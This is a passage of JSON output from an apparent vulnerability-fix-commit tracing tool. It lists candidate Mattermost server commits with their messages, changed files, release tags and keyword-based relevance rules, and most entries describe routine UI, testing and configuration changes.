"webapp/channels/src/components/user_settings/display/manage_timezones/manage_timezones.tsx", - "webapp/channels/src/components/user_settings/display/user_settings_display.test.tsx", - "webapp/channels/src/components/user_settings/display/user_settings_display.tsx", - "webapp/channels/src/components/user_settings/headers/setting_desktop_header.scss", - "webapp/channels/src/components/user_settings/index.tsx", - "webapp/channels/src/components/user_settings/modal/index.ts", - "webapp/channels/src/components/user_settings/modal/user_settings_modal.tsx", - "webapp/channels/src/components/user_settings/notifications/index.ts", - "webapp/channels/src/components/user_settings/notifications/user_settings_notifications.test.tsx", - "webapp/channels/src/components/user_settings/notifications/user_settings_notifications.tsx", - "webapp/channels/src/components/user_settings/sidebar/limit_visible_gms_dms/index.ts", - "webapp/channels/src/components/user_settings/sidebar/limit_visible_gms_dms/limit_visible_gms_dms.tsx", - "webapp/channels/src/components/user_settings/sidebar/show_unreads_category/index.ts", - "webapp/channels/src/components/user_settings/sidebar/show_unreads_category/show_unreads_category.tsx", - "webapp/channels/src/components/user_settings/sidebar/user_settings_sidebar.tsx", - "webapp/channels/src/components/widgets/smartLoader/index.tsx", - "webapp/channels/src/i18n/en.json", - "webapp/channels/src/packages/mattermost-redux/src/action_types/preferences.ts", - "webapp/channels/src/packages/mattermost-redux/src/actions/preferences.ts", - "webapp/channels/src/packages/mattermost-redux/src/reducers/entities/preferences.ts", - "webapp/channels/src/packages/mattermost-redux/src/selectors/entities/preferences.ts", - "webapp/channels/src/packages/mattermost-redux/src/selectors/entities/timezone.ts", - "webapp/channels/src/packages/mattermost-redux/src/store/initial_state.ts", - "webapp/channels/src/sass/components/_modal.scss", - "webapp/channels/src/sass/routes/_settings.scss", - "webapp/channels/src/selectors/admin_console.jsx", - "webapp/channels/src/utils/constants.tsx", - "webapp/platform/client/src/client4.ts", - "webapp/platform/types/src/store.ts" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27583": "Code enhancements to feature - Sysadmin manage user settings #27636 Manage user's settings mattermost/docs#7320" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: console, test, file, system", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: time, limit, console, test, system", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27583", - "relevance": 2 - } - ] - }, - { - "commit_id": "d249d4d1b0aa98de3cb29a6b572465d415b356d3", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720731164, - "hunks": 4, - "message": "[MM-58778] Fixing white screen for GM conversion (#27385) * fixing white screen for GM conversion --------- Co-authored-by: Mattermost Build ", - "changed_files": [ - "webapp/channels/src/components/post_view/gm_conversion_message/gm_conversion_message.tsx", - "webapp/channels/src/i18n/en.json" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27385": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: version", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: version", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27385", - "relevance": 2 - } - ] - }, - { - "commit_id": "7d80b5d04b96a7676434d158a0b455a19e52d867", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720717562, - "hunks": 1, - "message": "MM-59378 Skip flaky PerformanceReporter test (#27626)", - "changed_files": [ - "webapp/channels/src/utils/performance_telemetry/reporter.test.ts" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27626": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: test", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: test", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27626", - "relevance": 2 - } - ] - }, - { - "commit_id": "e8b48928772afee4b926ed0db4ca95183491cea8", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720695536, - "hunks": 83, - "message": "Fix several re-renders on init (#26361) * Fix several re-renders on init * Fix tests * Address feedback --------- Co-authored-by: Mattermost Build ", - "changed_files": [ - "webapp/channels/src/components/common/hooks/useGetSelfHostedProducts.ts", - "webapp/channels/src/components/compass_theme_provider/compass_theme_provider.tsx", - "webapp/channels/src/components/onboarding_tasklist/onboarding_tasklist.tsx", - "webapp/channels/src/components/sidebar/sidebar_category/sidebar_category_menu/index.tsx", - "webapp/channels/src/components/sidebar/sidebar_channel/sidebar_channel_menu/index.ts", - "webapp/channels/src/components/sidebar/sidebar_channel/sidebar_channel_menu/sidebar_channel_menu.tsx", - "webapp/channels/src/components/sidebar/sidebar_list/sidebar_list.tsx", - "webapp/channels/src/components/threading/global_threads_link/global_threads_link.tsx", - "webapp/channels/src/packages/mattermost-redux/src/selectors/entities/channel_categories.test.ts", - "webapp/channels/src/packages/mattermost-redux/src/selectors/entities/channel_categories.ts", - "webapp/channels/src/packages/mattermost-redux/src/selectors/entities/channels.ts", - "webapp/channels/src/packages/mattermost-redux/src/selectors/entities/groups.ts", - "webapp/channels/src/selectors/rhs.ts" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "26361": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: test", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: test", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 26361", - "relevance": 2 - } - ] - }, - { - "commit_id": "731f056f54e39314ec52d0a73c69f09c01b55bfd", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720622846, - "hunks": 31, - "message": "Support release testing (#27587) * Support release testing * Merge resolve-ref and generate-test-variables jobs", - "changed_files": [ - ".github/workflows/e2e-fulltests-ci.yml", - ".github/workflows/e2e-tests-ci-template.yml", - "e2e-tests/.ci/server.generate.sh", - "e2e-tests/.ci/server.start.sh" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27587": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: test", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: test", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27587", - "relevance": 2 - } - ] - }, - { - "commit_id": "7c2a461de86529c3ebb3587ace229f6fe776996c", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720558053, - "hunks": 9, - "message": "[MM-56921] Rendered Latex in Codeblock when rendering disabled (#27060) * Rendered Latex in Codeblock when rendering disabled * Fixed Lint error * Removed render function in Latex Component * Fix errors preventing LatexBlock unit tests from running * Updated latex disabled test for Codeblock testing * Fixed latex_block test lint errors * Removed Latex disabled test Snapshot --------- Co-authored-by: Harrison Healey Co-authored-by: Mattermost Build ", - "changed_files": [ - "webapp/channels/src/components/code_block/code_block.tsx", - "webapp/channels/src/components/latex_block/__snapshots__/latex_block.test.tsx.snap", - "webapp/channels/src/components/latex_block/latex_block.test.tsx", - "webapp/channels/src/components/latex_block/latex_block.tsx" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27060": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: test", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: test", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27060", - "relevance": 2 - } - ] - }, - { - "commit_id": "e3b2b1329218d3af7ba46605621b48d76fa3f089", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720551968, - "hunks": 78, - "message": "MM-58535 Add more information to LCP and INP metrics (#27484) * Improve mocking of imported resources in unit tests We have Webpack configured so that, when code imports an image or other resource, the code gets the URL of that image. Jest now matches that behaviour which is needed because React Testing Library would previously throw an error. * Polyfill ResizeObserver in all unit tests * Ensure haveIChannelPermission always returns a boolean value The previous code could sometimes return undefined. While that should behave the same in practice, it can cause React to print prop type warnings * MM-58535 Add region label to LCP metrics * MM-58535 Upgrade web-vitals and add INP attribution * Change new labels to use snake_case * Remove replaceGlobalStore option from renderWithContext I was going to add this in case any tests failed with this option set to false, but after running those tests, that's not the case. I'm going to remove this as an option since it seems more likely than not that anyone using RTL would prefer to have this on.", - "changed_files": [ - "server/channels/app/metrics.go", - "server/einterfaces/metrics.go", - "server/einterfaces/mocks/MetricsInterface.go", - "server/enterprise/metrics/metrics.go", - "server/public/model/metrics.go", - "webapp/channels/jest.config.js", - "webapp/channels/package.json", - "webapp/channels/src/components/__snapshots__/file_upload_overlay.test.tsx.snap", - "webapp/channels/src/components/add_groups_to_channel_modal/__snapshots__/add_groups_to_channel_modal.test.tsx.snap", - "webapp/channels/src/components/add_groups_to_team_modal/__snapshots__/add_groups_to_team_modal.test.tsx.snap", - "webapp/channels/src/components/admin_console/openid_convert/__snapshots__/openid_convert.test.tsx.snap", - "webapp/channels/src/components/advanced_text_editor/advanced_text_editor.test.tsx", - "webapp/channels/src/components/advanced_text_editor/formatting_bar/formatting_bar.test.tsx", - "webapp/channels/src/components/announcement_bar/configuration_bar/__snapshots__/configuration_bar.test.tsx.snap", - "webapp/channels/src/components/file_info_preview/__snapshots__/file_info_preview.test.tsx.snap", - "webapp/channels/src/components/integrations/bots/add_bot/__snapshots__/add_bot.test.tsx.snap", - "webapp/channels/src/components/markdown_image/__snapshots__/markdown_image.test.tsx.snap", - "webapp/channels/src/components/onboarding_tasklist/__snapshots__/onboarding_tasklist_completed.test.tsx.snap", - "webapp/channels/src/components/select_team/__snapshots__/select_team.test.tsx.snap", - "webapp/channels/src/components/threading/virtualized_thread_viewer/virtualized_thread_viewer.test.tsx", - "webapp/channels/src/components/user_settings/display/user_settings_theme/custom_theme_chooser/__snapshots__/custom_theme_chooser.test.tsx.snap", - "webapp/channels/src/packages/mattermost-redux/src/selectors/entities/roles.ts", - "webapp/channels/src/tests/image_url_mock.json", - "webapp/channels/src/tests/react_testing_utils.tsx", - "webapp/channels/src/tests/setup_jest.ts", - "webapp/channels/src/utils/notifications.test.ts", - "webapp/channels/src/utils/performance_telemetry/element_identification.test.tsx", - "webapp/channels/src/utils/performance_telemetry/element_identification.ts", - "webapp/channels/src/utils/performance_telemetry/reporter.test.ts", - "webapp/channels/src/utils/performance_telemetry/reporter.ts", - "webapp/package-lock.json" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27484": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: time, size, fail, cause, test", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: role, configuration, console, file, test", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27484", - "relevance": 2 - } - ] - }, - { - "commit_id": "2297732c9c8918044ffc2f35c8674fb4471e8275", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720548052, - "hunks": 38, - "message": "CLD-5704 Migrate daily master/cloud tests (#27393) (#27606) * [skip ci] Support Cloud/daily tests and Zephyr integration * [skip ci] Fix workflow file * [skip ci] Fix typo in workflow input name * Fix cloud variable passing * [skip ci] Fix typo * Utilize master branch image for daily tests * Apply Saturn's suggestion, fixes and improvements (cherry picked from commit 4f68dbb96ed71f1f44942300ae029a0b4ea3ea3c) Co-authored-by: Mario Vitale ", - "changed_files": [ - ".github/workflows/e2e-fulltests-ci.yml", - ".github/workflows/e2e-tests-ci-template.yml", - "e2e-tests/.ci/.e2erc", - "e2e-tests/.ci/report.publish.sh", - "e2e-tests/.ci/server.cloud_init.sh", - "e2e-tests/.ci/server.cloud_teardown.sh", - "e2e-tests/cypress/save_report.js" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27393": "Automated cherry pick of #27393 #27606", - "27606": "Support release testing #27587" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "v9.10.1", - "v9.10.1-rc1", - "v9.10.1-rc2", - "v9.10.1-rc3", - "v9.10.2", - "v9.10.2-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: file, test", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: test", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27393, 27606", - "relevance": 2 - } - ] - }, - { - "commit_id": "6fc5ff572f263fff315296032591e0b090f54d09", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720521368, - "hunks": 8, - "message": "Don't modify global variables in TestNoticeValidation (#27591)", - "changed_files": [ - "server/channels/app/product_notices.go", - "server/channels/app/product_notices_test.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27591": "[MM-59292] Add metadata to Support Packet #27573" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: test", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: test", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27591", - "relevance": 2 - } - ] - }, - { - "commit_id": "00dc08824c7f32d46e6a3284bf74b350448a1526", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720485884, - "hunks": 1, - "message": "Bump prepackage Github plugin version to 2.3.0 (#27572)", - "changed_files": [ - "server/Makefile" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27572": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: version", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: file", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27572", - "relevance": 2 - } - ] - }, - { - "commit_id": "9b2f20210b079abc0065ca7d885ce220a6cb60d5", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720479414, - "hunks": 39, - "message": "[MM-56339] Audit logs: on login add UserId and SessionId to audit's Actor field (#27446) * on login add UserId and SessionId to audit's Actor field to match logout * lint * simplify to add only userId and sessionId * AddToEventActor -> AddUser/SessionToEventActor * fill in missing session data when logging the audit record * why did it bump that? reverting. * make modules-tidy * trigger build * add more context to the comment", - "changed_files": [ - "server/channels/api4/user_test.go", - "server/channels/utils/merge_test.go", - "server/channels/web/context.go", - "server/go.mod", - "server/go.sum", - "server/public/go.mod", - "server/public/go.sum" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27446": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: field", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: test", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27446", - "relevance": 2 - } - ] - }, - { - "commit_id": "9f312f48b5567f284a5226d6d6ddc8f6b432c341", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720469114, - "hunks": 9, - "message": "[MM-58004] Update logged fields of users (#26860)", - "changed_files": [ - "server/channels/audit/audit_test.go", - "server/public/model/user.go", - "server/public/model/user_test.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "26860": "[MM-57963] Log Name and DisplayName of groups #26836" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: field", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: test", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 26860", - "relevance": 2 - } - ] - }, - { - "commit_id": "3513d310af629523f6967e039f788bf1b6d0e2c0", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720466425, - "hunks": 9, - "message": "[MM-58003] Allow setting AdvancedLoggingJSON via mmctl (#27388)", - "changed_files": [ - "server/cmd/mmctl/commands/config.go", - "server/cmd/mmctl/commands/config_test.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27388": "mmctl config set supports AdvancedLoggingJSON config mattermost/docs#7326" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: allow", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: test", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27388", - "relevance": 2 - } - ] - }, - { - "commit_id": "bc49f348bf76b685461f7c036f7a7e415443870c", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720432480, - "hunks": 10, - "message": "Correctly merge plugin configuration on mmctl config patch (#26647) * Adds a step to the config patch command to merge plugin configurations * Fix linter --------- Co-authored-by: Mattermost Build ", - "changed_files": [ - "server/cmd/mmctl/commands/config.go", - "server/cmd/mmctl/commands/config_test.go", - "server/cmd/mmctl/commands/utils.go", - "server/cmd/mmctl/commands/utils_test.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "26647": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: configuration", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: test", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 26647", - "relevance": 2 - } - ] - }, - { - "commit_id": "4e32da62fa71dc4eae803866e91247aeb45d4e6f", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720419369, - "hunks": 44, - "message": "chore: improvements to keycloak local development (#26518) * update keycloak docker image * update realm file with a compatible realm * import realm on start-docker command Since bitnami's image does not support importing directly, the import of the test realm is done in the make file start-docker action * Use official image from quay * updated realm keycloak config * final note about nickname attrib for saml * add admin user * update realm * Updated from master * Updated docs * local typo * use jq for ldap and saml * updated readme", - "changed_files": [ - "server/Makefile", - "server/build/docker-compose.common.yml", - "server/build/docker/keycloak/ldap.mmsettings.json", - "server/build/docker/keycloak/openid.mmsettings.json", - "server/build/docker/keycloak/realm-export.json", - "server/build/docker/keycloak/saml.mmsettings.json" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "26518": "Fix config targets in Makefile #27746" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: file, test", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: file", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 26518", - "relevance": 2 - } - ] - }, - { - "commit_id": "9f396c9294144114ba182891e6d9c309fc8cf003", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720116488, - "hunks": 8, - "message": "[MM-58443] Migrate tooltips of 'components/global_header/right_controls/saved_posts_button/saved_posts_button.tsx' to WithTooltip (#27185) * add withtooltip handling * add withtooltip handling * placed icon inside tooltip * Update saved_posts_button.tsx * Update saved_posts_button.tsx * Update saved_posts_button.test.tsx.snap * Update saved_posts_button.tsx --------- Co-authored-by: surajanthwal Co-authored-by: M-ZubairAhmed Co-authored-by: Mattermost Build ", - "changed_files": [ - "webapp/channels/src/components/global_header/right_controls/saved_posts_button/__snapshots__/saved_posts_button.test.tsx.snap", - "webapp/channels/src/components/global_header/right_controls/saved_posts_button/saved_posts_button.tsx" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27185": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "server/public/v0.1.5", - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: test", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: test", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27185", - "relevance": 2 - } - ] - }, - { - "commit_id": "6d427cf005e4013f230d3f74c51840ce6cc99efd", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720113195, - "hunks": 2, - "message": "Revert \"Added GetPluginID method and tests (#27281)\" (#27540) This reverts commit 4acc4796edb2c1ff93e861b4732c1c758ac76371.", - "changed_files": [ - "server/public/model/manifest.go", - "server/public/model/manifest_test.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27281": "[MM-57738] Retrieve Id through GetPluginID method in Manifest model mattermost/mattermost-plugin-starter-template#199 Add plugin API to allow plugins to fetch their own pluginID #26710", - "27540": "[MM-57738] Added GetPluginID method to Manifest model #27281" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "server/public/v0.1.5", - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: test", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: test", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27281, 27540", - "relevance": 2 - } - ] - }, - { - "commit_id": "3e4d91590fb5268d3ef04166115c91e7aac05fab", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720105096, - "hunks": 1, - "message": "Skips flaky test on the remote cluster API (#27547) * Skips flaky test on the remote cluster API * Adds ticket link to the `t.Skip`", - "changed_files": [ - "server/channels/api4/remote_cluster_test.go" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "27547": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "@mattermost/client@9.11.0", - "@mattermost/types@9.11.0", - "server/public/v0.1.5", - "server/public/v0.1.6", - "v10.0.0-rc1", - "v10.0.0-rc2", - "v9.11.0", - "v9.11.0-rc1", - "v9.11.0-rc2", - "v9.11.0-rc3", - "v9.11.1", - "v9.11.1-rc1" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: test", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: test", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 27547", - "relevance": 2 - } - ] - }, - { - "commit_id": "809ad4f76d8358ec91a0b5dcafe1d92a32233ba2", - "repository": "https://github.com/mattermost/mattermost-server", - "timestamp": 1720082126, - "hunks": 91, - "message": "Adds Remote Cluster related API endpoints (#27432) * Adds Remote Cluster related API endpoints New endpoints for the following routes are added: - Get Remote Clusters at `GET /api/v4/remotecluster` - Create Remote Cluster at `POST /api/v4/remotecluster` - Accept Remote Cluster invite at `POST /api/v4/remotecluster/accept_invite` - Generate Remote Cluster invite at `POST /api/v4/remotecluster/{remote_id}/generate_invite` - Get Remote Cluster at `GET /api/v4/remotecluster/{remote_id}` - Patch Remote Cluster at `PATCH /api/v4/remotecluster/{remote_id}` - Delete Remote Cluster at `DELETE /api/v4/remotecluster/{remote_id}` These endpoints are planned to be used from the system console, and gated through the `manage_secure_connections` permission. * Update server/channels/api4/remote_cluster_test.go Co-authored-by: Doug Lauder * Fix AppError names --------- Co-authored-by: Doug Lauder 